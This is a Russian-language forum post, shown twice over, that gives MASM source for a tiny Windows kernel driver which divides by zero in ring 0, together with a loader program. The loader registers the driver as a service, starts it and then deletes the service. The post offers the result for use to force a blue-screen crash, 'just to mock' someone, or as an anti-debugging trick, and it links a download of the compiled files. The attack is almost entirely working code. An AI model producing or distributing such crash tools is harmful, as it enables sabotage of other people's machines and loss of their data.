Решил тут немного дрова подучить, поэтому думаю кому то пригодится.
Драйвер простенький и скорее нужен для микро-защиты,или просто поглумиться.
В общем драйвер работает в нулевом кольце защиты(проверял только на 32-битных ХРюшах-все работает).Смысл заключается в том что бы создать крах системы,поскольку в Ring3 программно этого не сделать.
Получается в ring0 на нуль делить нельзя,это я и воссоздал в драйвере,всего 3 ассемблерных инструкции.
Код самого драйвера(masm)
.386
.model flat, stdcall
option casemap:none
include \masm32\include\w2k\ntstatus.inc
include \masm32\include\w2k\ntddk.inc
include \masm32\include\w2k\hal.inc
includelib \masm32\lib\w2k\hal.lib
.code
DriverEntry proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
xor eax,eax
xor ebx,ebx
div ebx
DriverEntry endp
end DriverEntry
:make
set drv=FORCE
\masm32\bin\ml /nologo /c /coff %drv%.bat
\masm32\bin\link /nologo /driver /base:0x10000 /align:32 /out:%drv%.sys /subsystem:native %drv%.obj
del %drv%.obj
echo. pause
Это как бы совмещение батника и асм,но с расширением bat.Для компиляции потребуется инклуды с ДДК.
И сама программа использующая драйвер
Код: .386
.model flat, stdcall
option casemap:none
include include\windows.inc
include include\kernel32.inc
include include\user32.inc
include include\advapi32.inc
includelib lib\kernel32.lib
includelib lib\user32.lib
includelib lib\advapi32.lib
.data driver db 'FORCE.sys',0
txt1 db 'BSOD',0
txt2 db 'BSOD!UHAHA',0
txt3 db 'Can not register driver',0
txt4 db 'Can not connect to Service Control Manager',0
.code
start proc local hSCManager:HANDLE local hService:HANDLE local acDriverPath[MAX_PATH]:CHAR
invoke OpenSCManager, 0, 0, SC_MANAGER_CREATE_SERVICE
.if eax != NULL
mov hSCManager, eax
push eax
invoke GetFullPathName,addr driver, sizeof acDriverPath, addr acDriverPath, esp pop eax
invoke CreateService, hSCManager, addr txt1, addr txt2, \ SERVICE_START + DELETE, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, \ SERVICE_ERROR_IGNORE, addr acDriverPath, 0, 0, 0, 0, 0
.if eax != NULL
mov hService, eax
invoke StartService, hService, 0, 0
invoke DeleteService, hService
invoke CloseServiceHandle, hService
.else
invoke MessageBox, 0,addr txt3, 0, MB_ICONSTOP
.endif
invoke CloseServiceHandle, hSCManager
.else invoke MessageBox, 0, addr txt4,0, MB_ICONSTOP
.endif
invoke ExitProcess, 0
start endp
end start
И так что же происходит.Алгоритм использования дрова такой:
1)Установить связь с менеджером управления сервисами и открыть его базу данных
2)Подгрузить дров
3)Создать объект службы и внести его в базу данных
4)Запустить службу(тут и будет бсод)
5)Удалить службу
6)Закрыть хэндл.
Что происходит внутри:Попадаем в нулевое кольцо защиты, делим на нуль (те 3 инструкции) вызываем бсод.
можно юзать как антиотладочное средство
Подробнее о точке входа в дров,и ДДК есть на wasm.ru
размер дрова- 576 байт
размер проги- 1586 байт
http://splashed.ucoz.ru/FORCE.rar
Драйвер простенький и скорее нужен для микро-защиты,или просто поглумиться.
В общем драйвер работает в нулевом кольце защиты(проверял только на 32-битных ХРюшах-все работает).Смысл заключается в том что бы создать крах системы,поскольку в Ring3 программно этого не сделать.
Получается в ring0 на нуль делить нельзя,это я и воссоздал в драйвере,всего 3 ассемблерных инструкции.
Код самого драйвера(masm)
Код:;@echo off
;goto make .386
.model flat, stdcall
option casemap:none
include \masm32\include\w2k\ntstatus.inc
include \masm32\include\w2k\ntddk.inc
include \masm32\include\w2k\hal.inc
includelib \masm32\lib\w2k\hal.lib
.code
DriverEntry proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
xor eax,eax
xor ebx,ebx
div ebx
DriverEntry endp
end DriverEntry
:make
set drv=FORCE
\masm32\bin\ml /nologo /c /coff %drv%.bat
\masm32\bin\link /nologo /driver /base:0x10000 /align:32 /out:%drv%.sys /subsystem:native %drv%.obj
del %drv%.obj
echo. pause
Это как бы совмещение батника и асм,но с расширением bat.Для компиляции потребуется инклуды с ДДК.
И сама программа использующая драйвер
Код: .386
.model flat, stdcall
option casemap:none
include include\windows.inc
include include\kernel32.inc
include include\user32.inc
include include\advapi32.inc
includelib lib\kernel32.lib
includelib lib\user32.lib
includelib lib\advapi32.lib
.data driver db 'FORCE.sys',0
txt1 db 'BSOD',0
txt2 db 'BSOD!UHAHA',0
txt3 db 'Can not register driver',0
txt4 db 'Can not connect to Service Control Manager',0
.code
start proc local hSCManager:HANDLE local hService:HANDLE local acDriverPath[MAX_PATH]:CHAR
invoke OpenSCManager, 0, 0, SC_MANAGER_CREATE_SERVICE
.if eax != NULL
mov hSCManager, eax
push eax
invoke GetFullPathName,addr driver, sizeof acDriverPath, addr acDriverPath, esp pop eax
invoke CreateService, hSCManager, addr txt1, addr txt2, \ SERVICE_START + DELETE, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, \ SERVICE_ERROR_IGNORE, addr acDriverPath, 0, 0, 0, 0, 0
.if eax != NULL
mov hService, eax
invoke StartService, hService, 0, 0
invoke DeleteService, hService
invoke CloseServiceHandle, hService
.else
invoke MessageBox, 0,addr txt3, 0, MB_ICONSTOP
.endif
invoke CloseServiceHandle, hSCManager
.else invoke MessageBox, 0, addr txt4,0, MB_ICONSTOP
.endif
invoke ExitProcess, 0
start endp
end start
И так что же происходит.Алгоритм использования дрова такой:
1)Установить связь с менеджером управления сервисами и открыть его базу данных
2)Подгрузить дров
3)Создать объект службы и внести его в базу данных
4)Запустить службу(тут и будет бсод)
5)Удалить службу
6)Закрыть хэндл.
Что происходит внутри:Попадаем в нулевое кольцо защиты, делим на нуль (те 3 инструкции) вызываем бсод.
можно юзать как антиотладочное средство
Подробнее о точке входа в дров,и ДДК есть на wasm.ru
размер дрова- 576 байт
размер проги- 1586 байт
http://splashed.ucoz.ru/FORCE.rar